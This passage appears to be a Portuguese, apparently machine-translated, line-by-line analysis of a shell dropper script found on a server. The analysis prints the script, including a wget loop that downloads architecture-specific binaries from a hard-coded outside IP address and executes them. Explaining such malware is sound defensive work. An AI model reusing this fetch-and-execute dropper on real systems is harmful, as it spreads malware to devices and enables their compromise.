Linha por linha:
#!/bin/sh
Estabelece a sh
casca, o que for, como a linha shebang. sh%20/tmp/ks
na solicitação substitui isso, portanto, essa linha é tratada como um comentário normal e ignorada.
u="asgknskjdgn"
Declara um nome arbitrário, presumivelmente para evitar colisões com outros nomes de arquivos. Não sei por que eles não usariam apenas mktemp
, mas talvez isso não esteja disponível em todas as plataformas.
bin_names="mmips mipsel arm arm7 powerpc x86_64 x86_32"
Enumera várias arquiteturas comuns da CPU.
http_server="80.211.173.159"
http_port=80
O servidor que possui a exploração.
cd /tmp/||cd /var/
Tenta alterar o diretório para algum lugar em que seu servidor da web possa criar arquivos. Acredito que o SELinux ajudará nisso, aplicando regras muito mais rígidas sobre o que o servidor da Web pode fazer do que o sistema de arquivos por si só.
for name in $bin_names
do
Para cada arquitetura de CPU…
rm -rf $u
Remove programas de exploração tentados anteriormente. Desnecessário por causa da próxima linha, portanto, pode ser ignorado.
cp $SHELL $u
Copia o atual executável do shell ( /bin/sh
). Pode ser ignorado por causa da linha após a próxima.
chmod 777 $u
Faz com que todos tenham acesso total ao novo arquivo. Isso deveria ter ocorrido após o wget
comando, que é um sinal de um novato em script de shell ou uma técnica de desvio de direção.
>$u
Esvazia o arquivo. Inútil por causa da próxima linha.
wget http://$http_server:$http_port/$name -O -> $u
Substitui o arquivo pelo script de exploração desta arquitetura. -O -> $u
poderia ter sido gravado -O - > $u
(o hífen indica que o download deve ser gravado na saída padrão) ao qual é equivalente -O $u
.
./$u $name
Executa o script de exploração com a arquitetura como o primeiro argumento.
done
Termina o ciclo.
Parece que este é um script de tentativa de exploração trivial, tentando explorações conhecidas em várias plataformas de CPU. Não sei por que ele sobrescreve $u
três vezes, mas essas operações podem simplesmente ser restos de uma iteração anterior do script. Presumivelmente, a versão anterior tinha as explorações codificadas em vez de atendidas dinamicamente - a primeira é mais fácil, mas quase garante que o script será menos eficaz ao longo do tempo à medida que os bugs são corrigidos.